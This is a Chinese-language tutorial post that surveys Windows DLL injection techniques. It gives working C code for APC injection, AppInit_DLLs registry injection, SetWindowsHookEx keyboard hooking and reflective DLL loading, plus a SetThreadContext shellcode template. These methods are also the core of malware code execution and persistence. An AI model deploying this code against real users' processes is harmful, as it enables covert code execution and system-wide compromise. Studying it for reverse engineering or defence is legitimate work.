在当前进程
卸载
DLL的方法一般是 FreeLibrary(modBaseAddr), 所以最简单的方法就是在目标进程执行
FreeLibrary(modBaseAddr)实现DLL卸载。[可以看出来,这种方法为简单的代码注入的方法]
常见的注入方法:
0x1.APC注入
APC注入,我先了解一下APC队列。线程 APC 队列:
每个线程可以通过调用 QueueUserAPC 函数,明确的创建一个"异步调用队列", 其实就是为线程在线程函数调用栈之外再安排一组函数去执行。 默认情况下,创建线程时不会创建这个队列,当调用该函数时,就会为这个线程创建这个队列。创建 APC 队列的函数,一般使用 Wait 函数族或者 SleepEx 函数等带有 bAlertable 参数的函数进入一种假"暂停"的状态, 进入 Alertable 状态的线程,系统调度器会在线程函数本身处于"暂停"(等待状态)时,一次调用线程 APC 队列中的函数。关于
Alertable 状态,可以去了解
SleepEx和Sleep函数的区别。
注意 APC 队列中的函数不要执行事件过长,以免影响线程函数本身的执行。需要注意的是,有些函数虽然也会使线程进入等待状态,但不能进入可警告状态,也即不能调用异步的函数,比如:GetMessage 函数等(这些函数也没有 bAlterable 参数)。 最后也需要注意的是,不要在 APC 函数中再调用让线程进入Alterable 状态的 API,这会引起一个递归,而导致线程栈溢出。
原理:
在一个进程中,当一个执行到SleepEx()或者WaitForSingleObjectEx()时,系统就会产生一个软中断,当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数,利用QueueUserAPC()这个API,并以此去执行我们的DLL加载代码,进而完成DLL注入的目的。
/*
参数:
HANDLE ProcessHandle: 要注入进程的句柄
THREAD_LIST *pThreadIdList: 要注入进程线程ID列表
*/
DWORD APC_Inject(HANDLE ProcessHandle, THREAD_LIST *pThreadIdList)
{
THREAD_LIST *pCurrentThreadId = pThreadIdList;
CHAR path[MAX_PATH] = { 0 };
//获得当前目录路径
GetCurrentDirectoryA(MAX_PATH, path);
//获得Dll的全路径
strcat(path, ("\\Dll.dll"));
DWORD ModuleNameLength = strlen(path) + 1;
//申请内存
PVOID param = VirtualAllocEx(ProcessHandle,
NULL, ModuleNameLength, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
UINT_PTR LoadLibraryAAddress = (UINT_PTR)GetProcAddress(GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
if (param != NULL)
{
SIZE_T ReturnLength;
//向在目标进程申请的内存中写入DLL地址
if (WriteProcessMemory(ProcessHandle, param, (LPVOID)path, ModuleNameLength, &ReturnLength))
{
while (pCurrentThreadId)
{
//获得线程句柄,同时看看线程存不存在
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, pCurrentThreadId->dwThreadId);
if (hThread != NULL)
{
// QueueUserAPC解析看上方原理
int a= QueueUserAPC((PAPCFUNC)LoadLibraryAAddress, hThread, (ULONG_PTR)param);
printf(" %d\r\n",a);
}
pCurrentThreadId = pCurrentThreadId->pNext;
}
}
SleepEx(10000, TRUE);
}
return 0;
}
0x2.注册表AppInit_DLLs
原理:
User32.dll被加载到进程时, 会读取AppInit_DLLs注册表项, 若有值, 则调用LoadAppInit()API加载用户DLL. 所以严格来说, 相应DLL不会被加载到所有进程, 只是加载至加载user32.dll的进程 。
在注册表编辑器中, 将要注入的DLL的路径字符串写入AppInit_DLLs项目, 然后把LoadAppInit_DLLs的项目值设置为1. 重启后, 指定DLL会注入所有运行进程。
void RegistryInject()
{
NTSTATUS ntStatus;
wchar_t wDllPath[MAX_PATH] = { 0 };
HKEY hKey = NULL;
GetCurrentDirectory(MAX_PATH, wDllPath);
#ifdef _WIN64
wcscat(wDllPath, L"\\X64.dll");
WCHAR* KeyFullPath = L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows";
#else
wcscat(wDllPath, L"\\X86.dll");
WCHAR* KeyFullPath = L"SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows";
#endif
ntStatus = RegOpenKeyExW(HKEY_LOCAL_MACHINE, KeyFullPath,0,KEY_ALL_ACCESS,&hKey);
if (ntStatus != ERROR_SUCCESS)
return;
WCHAR* wcAppInit_DLLs = L"AppInit_DLLs";
DWORD dAppInit_DLLsType = 0;
UINT8 u8AppInit_DLLsData[MAX_PATH] = { 0 };
DWORD dAppInit_DLLsLength = 0;
//保留原先的数据
ntStatus = RegQueryValueExW(hKey, wcAppInit_DLLs,NULL,&dAppInit_DLLsType, u8AppInit_DLLsData,&dAppInit_DLLsLength);
if (ntStatus != ERROR_SUCCESS)
{
if (ntStatus !=ERROR_MORE_DATA)
goto Exit;
}
// 设置Dll的完整路径键值
ntStatus = RegSetValueExW(hKey, wcAppInit_DLLs,NULL, dAppInit_DLLsType,(CONST BYTE*)wDllPath,(lstrlen(wDllPath) + 1) * sizeof(WCHAR));
if (ntStatus != ERROR_SUCCESS)
goto Exit;
WCHAR* wcLoadAppInit_DLLs = L"LoadAppInit_DLLs";
DWORD dLoadAppInit_DLLsType = 0;
UINT8 u8LoadAppInit_DLLsData[MAX_PATH] = { 0 };
DWORD dLoadAppInit_DLLsLength = 0;
//保留原先的数据
ntStatus = RegQueryValueExW(hKey, wcLoadAppInit_DLLs,NULL,&dLoadAppInit_DLLsType, u8LoadAppInit_DLLsData,&dLoadAppInit_DLLsLength);
if (ntStatus != ERROR_SUCCESS)
{
if (ntStatus != ERROR_MORE_DATA)
goto Exit;
}
DWORD v2 = 1;
ntStatus = RegSetValueExW(hKey, wcLoadAppInit_DLLs,NULL,dLoadAppInit_DLLsType,(CONST BYTE*)&v2,sizeof(DWORD));
if (ntStatus != ERROR_SUCCESS)
goto Exit;
printf("Input AnyKey To Resume\r\n");
getchar();
Exit:
if (dAppInit_DLLsLength!=0)
ntStatus = RegSetValueExW(hKey, wcLoadAppInit_DLLs,NULL,dAppInit_DLLsType,
(CONST BYTE*)u8AppInit_DLLsData,(lstrlenA((char*)u8AppInit_DLLsData) + 1) * sizeof(WCHAR));
if (dLoadAppInit_DLLsLength!=0)
ntStatus = RegSetValueExW(hKey, wcLoadAppInit_DLLs,NULL,dLoadAppInit_DLLsType,
(CONST BYTE*)u8LoadAppInit_DLLsData,sizeof(DWORD));
if (hKey !=NULL)
{
RegCloseKey(hKey);
hKey = NULL;
}
}
0x3.SetWindowsHookEx
注入A.dll文件是一个含有钩子过程(XXXXXXXProc)的DLL文件. B.exe注入程序是最先加载注入dll并安装键盘钩子的程序. B.exe加载A.dll文件后使用SetWindowsHookEx()安装键盘钩子(
XXXXXXXProc
). 若其他进程中发生键盘输入事件, OS会将强制将A.dll加载到相应进程的内存, 然后调用
XXXXXXXProc
()函数。
注入:
/*
参数:
HANDLE hThreadID: 指定要与钩子子程关联的线程的标识符。如果该参数为零,则钩子子程与与调用线程在同一桌面中运行的所有现有线程相关联。
OUT HHOOK* hHook: 如果函数成功,则返回钩子子程的句柄。可以用于钩子卸载
WCHAR* wDllPath:注入Dll的完整路径。
*/
BOOL SetWindowsHookEx_Inject(HANDLE hThreadID, OUT HHOOK* hHook,WCHAR* wDllPath)
{
HMODULE hModuleBase = LoadLibrary(wDllPath);
FARPROC dllFunctionAddr = GetProcAddress(hModuleBase, "dllFunction");
*hHook = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)dllFunctionAddr, hModuleBase,(DWORD)hThreadID);
if (*hHook == NULL)
return FALSE;
return TRUE;
}
卸载:
UnhookWindowsHookEx(hHook);
0x4.创建线程函数:CreateRemoteThread [NtCreateThreadEx、RtlCreateUserThread]
在MSDN中查看CreateRemoteThread等函数参数说明,了解用法,这里就不赘述了。
上面创建线程函数windows XP下查看远程线程函数调用关系:
CreateThread-->RtlCreateUserThread-->ZwCreateThread--> NtCreateThread-->PspCreateThread
CreateRemoteThread -->NtCreateThread
0x5.反射式DLL注入:
这个方法是我这几天逆向螃蟹时学的,可能是 “我的爱是你” 坛友 所述的方法,下面简单说明一下其原理:
1️⃣ 首先注入程序要将DLL文件拷贝到在被注入程序的申请的内存中(一定是整个文件)
//在目标进程分配内存(RWX)把整个DLL写进去
lpRemoteLibraryBuffer = VirtualAllocEx(hProcess, NULL,
dwLength, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!lpRemoteLibraryBuffer)
{
break;
}
if (!WriteProcessMemory(hProcess, lpRemoteLibraryBuffer,
lpBuffer, dwLength, NULL))
{
break;
}
2️⃣
注入程序要找到
DLL文件中加载器
申(ReflectiveLoader[导出函数]) 执行代码的文件偏移,文件偏移加上我们请的内存地址获得在目标进程下加载器的代码位置,这个时候我们就可以用CreateRemoteThread或其他方法,在目标进程执行
DLL 加载器(
ReflectiveLoader
)就行了。
//线程函数的地址=基地址+文件偏移
LPTHREAD_START_ROUTINE lpReflectiveLoader = (LPTHREAD_START_ROUTINE)((ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset);
//拖后腿的CreateRemoteThread
hThread = CreateRemoteThread(hProcess, NULL, 1024 * 1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId);
3️⃣
ReflectiveLoader 的工作步骤:
STEP 0: 计算当前映像基址。就是获得DLL的文件加载地址,可以用lpParameter传参进来。不传的情况下,我们需要用一些巧妙的方法来获得到
DLL的文件加载地址。就是调用_ReturnAddress()函数,这个函数不用我们编写,
_ReturnAddress函数就是几句汇编指令。
ebp+4:存着这个函数执行完后的返回地址,就是在程序中调用这个函数我们就会得到 Call _ReturnAddress指令的下一条指令地址,然后我们可以从这一条指令地址处向上遍历,找到PE头的标志,即文件PE头部位置。
STEP 1:首先获得我们Loader需要的一些函数地址有:VirtualAlloc(用来为镜像要加载的地址分配空间)、LoadLibraryA(处理导入表)、GetProcAddress(同上)、NtFlushInstructionCache(刷新数据,让CPU执行新指令)。获取PEB的方法:FS:[0x30]和GS:[0x60],前者为32位系统,后者为64位系统。PEB ---->_PEB_LDR_DATA数据结构,存储着当前进程所加载的模块信息,我们需要遍历已经加载的模块,从中找到我们需要的模块,获得以上几个函数的地址。
获得PEB代码
#ifdef _WIN64
uiBaseAddress = __readgsqword(0x60);
#else
uiBaseAddress = __readfsdword(0x30);
#endif
STEP 2: 将我们的映像加载到内存中的新位置,拷贝头部数据和所有区段到内存中的新位置,要经过对齐:
// STEP 2: 将我们的映像加载到内存中的新位置.. 拷贝所有区段
//NT头的虚拟地址,原DLL文件中
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// 申请一块内存,我们将DLL加载到内存中
// 重新定位。
// 同时将所有内存清零并将其标记为READ,WRITE和EXECUTE,以避免出现任何问题。
uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 我们需要拷贝所有节表和所有头部
// 拷贝大小
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
//起始拷贝地址,即缓冲区的起始地址
uiValueB = uiLibraryAddress;
//dll将被加载的地址的起始地址
uiValueC = uiBaseAddress;
//复制头和节表的数据到新开辟的缓冲区
while (uiValueA--)
{
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
}
//节表的第一项
uiValueA = ((ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);
// 遍历所有部分,并将它们加载到内存中。 要对齐!!
//pe中节的数量
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while (uiValueE--)
{
//区段的虚拟地址
uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress);
//区段的文件偏移
uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData);
//经过对齐的物理大小
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
//拷贝数据
while (uiValueD--)
{
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
}
//到下一个区段表 继续拷贝
uiValueA += sizeof(IMAGE_SECTION_HEADER);
}
STEP 3: 处理导入表,手动加载DLL要 修复导入表IAT。
// STEP 4: 修复导入表...
// 获得导入表数据目录
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
// uiValueC是导入表中的第一项
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress); //基地址+RVA即导入表描述符的地址VA
//遍历所有导入 外层循环[模块] 内存循环[函数]
//链接库名字
while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)
{
//使用LoadLibraryA将需要的模块加载到内存
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
//指向INT的IMAGE_THUNK_DATA的VA
uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk);
// uiValueA = IAT 的虚拟地址
//要导入IAT的IMAGE_THUNK_DATA结构体
uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk);
//遍历所有导入的函数,如果不存在名称,则按顺序导入
while (DEREF(uiValueA))
{
// uiValueD为不为空,是不是遍历完了,因为某些编译器仅由FirstThunk导入
if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG) //是不是序号导入?
{
// 获取模块NT标头的VA
uiNtheader = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// 导出表数据目录
uiExportDir = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiNtheader)->
OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
// 获取导出表的VA
uiExportDirVA = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiExportDir)->VirtualAddress);
// 获取导出地址数组的VA
uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDirVA)->AddressOfFunctions);
// use the import ordinal (- export ordinal base) as an index into the array of addresses
//使用导入序数 (-导出序数基数) 作为地址数组的索引
//函数地址(RVA)
uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal)
- ((PIMAGE_EXPORT_DIRECTORY)uiExportDirVA)->Base) * sizeof(DWORD));
//函数地址VA
// 修补此导入功能的地址
DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray));
}
else
{
//通过名称struct获取此函数的VA
uiValueB = (uiBaseAddress + DEREF(uiValueA));
// 使用GetProcAddress并在此导入函数的地址中打补丁
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
}
// 获取下一个导入的功能函数
uiValueA += sizeof(ULONG_PTR);
if (uiValueD) //遍历完没
uiValueD += sizeof(ULONG_PTR);//没完
}
//获取下一个导入模块
uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR);
}
STEP 4: 处理我们所有的Images的重定位表。因为实际装载和建议装载的偏移不一样,原重定位表中的值是以程序建议的装载地址为基址,我们要修复一下。
//实际装载和建议装载的偏移,原重定位表中的值是以程序建议的装载地址为基址
ULONG_PTR Offset = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
//offset(偏移offset) = uiBaseAddress(实际)-ImageBase(程序建议的装载地址)
// uiValueB = relocation 数据目录地址
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
// 检查它们是否存在任何重定位
if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size)//重定位表大小不为0
{
//重定位表的地址 uiValueC = 重定位表的地址(第一个IMAGE_BASE_RELOCATION表)
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
//然后我们遍历所有块...[]
while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock) //不为空,继续循环
{
// (重定位内存页的起始RVA)
uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress);//
//重定位块中的项数(整个块的大小减去结构体的大小 - 得到重定位项的总大小,除以每个重定位项的大小)
// uiValueB = 此重定位块中的条目数
uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);
//重定位块的第一项(过信息PIMAGE_BASE_RELOCATION)
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
//遍历重定位项
while (uiValueB--)
{
//执行重定位,并根据需要跳过IMAGE_REL_BASED_ABSOLUTE。
//我们不使用switch语句来避免编译器建立跳转表
/*
值 常量符号 含义
0 IMAGE_REL_BASED_ABSOLUTE 无意义,仅做对齐作用
1 IMAGE_REL_BASED_HIGH 双字节中,仅高十六位被修正
2 IMAGE_REL_BASED_LOW 双字节中,仅低十六位被修正
3 IMAGE_REL_BASED_HIGHLOW 双字32位都需要修正
4 IMAGE_REL_BASED_HIGHADJ 进行基地址重定位时将差值的高十六位加到指定偏移处的
5 IMAGE_REL_BASED_MIPS_JMPADDR 对MIPS平台的跳转指令进行基地址重定位
6 保留,必须为0
7 保留,必须为0
9 IMAGE_REL_BASED_MIPS_JMPADDR16 对MIPS16平台的跳转指令进行基地址重定位
10 IMAGE_REL_BASED_DIR64 进行基地址重定位时将差值加到指定偏移处的一个64位域上
*/
//重定位项的高四位代表此重定位项的类型
if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64)
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += Offset;
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW)
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)Offset;
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH)
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(Offset);
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW)
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(Offset);
//下一个重定位项
uiValueD += sizeof(IMAGE_RELOC);
}
//下一个重定位块
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
}
}
STEP 5: 调用入口点
// uiValueA = 是我们新加载的DLL / EXE入口点的 VA
uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint);
// 我们必须刷新指令高速缓存,以避免使用过时的代码,该代码已由我们的重定位处理更新。
pNtFlushInstructionCache((HANDLE)-1, NULL, 0);
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);
反射式DLL注入就完成了!
0x6.
SetThreadContext 注入:
这个是“hekes"坛友所提到的方法,本来想在Hook集合中总结为EIP Hook,还是先简单说一下:
主要过程:
//伪代码
CONTEXT Context; //定义一个CONTEXT结构
SuspendThread(hThread); //挂起线程
ThreadContext.ContextFlags = CONTEXT_ALL; //修改对Context操作的权限
GetThreadContext(hThread, &Context); //获得Context信息
BufferData = VirtualAllocEx() //在目标线程申请内存 来执行我们的shellcode
//编写shellcode
WriteProcessMemory(ProcessHandle, BufferData, ShellCode, sizeof(ShellCode), NULL) // 写入shellcode
ThreadContext.Eip = (UINT32)BufferData //修改EIP指向
Context.ContextFlags = CONTEXT_CONTROL;
SetThreadContext(hThread, &Context); //重新设置线程上下文
ResumeThread(hThread); //恢复线程,现在线程开始从BufferData这个地方开始执行指令
SetThreadContext
注入的重点就是shellcode实现Loadlibrary:
UINT8 __ShellCode[0x100] = {
0x60, // [+0] pusha //其入栈顺序是:EAX,ECX,EDX,EBX,ESP,EBP,ESI,EDI
0x9c, // [+1] pushf
0x68, // [+2] push
0x00,0x00,0x00,0x00, // [+3]
DLL路径
0xff,0x15, // [+7] call
0x00,0x00,0x00,0x00, // [+9] LoadLibrary
0x9d, // [+13] popf
0x61, // [+14] popa
0xff,0x25, // [+15] jmp
0x00,0x00,0x00,0x00, // [+17] eip
// eip 地址
0x00,0x00,0x00,0x00, // [+21] 保eip地址
// LoadLibrary 地址
0x00,0x00,0x00,0x00, // [+25] 填写得到
LoadLibrary函数指针
// DllFullPath
0x00,0x00,0x00,0x00 // [+29] 填写要加载DLL的路径指针
填空:
RemoteBufferData为shellcode起始地址
PUINT8 v1 = __ShellCode + 29;
//将Dll完整路径存入目标进程空间中
memcpy(v1, __DllFullPath, (wcslen(__DllFullPath) + 1) * sizeof(WCHAR));
//Push Address
*(PULONG)(__ShellCode + 3) = (ULONG)RemoteBufferData + 29;
//当前exe模块中的导入函数
*(PULONG)(__ShellCode + 25) = (ULONG)__LoadLibraryW;
*(PULONG_PTR)(__ShellCode + 9) = (ULONG_PTR)RemoteBufferData + 25;
.......
*(PULONG_PTR)(__ShellCode + 21) = ThreadContext.Eip;
*(PULONG_PTR)(__ShellCode + 17) = (ULONG_PTR)RemoteBufferData + 21;
总结的不全,大佬们还有啥方法,都可以砸给我,感激不尽! 我后面一起加上去 [可爱]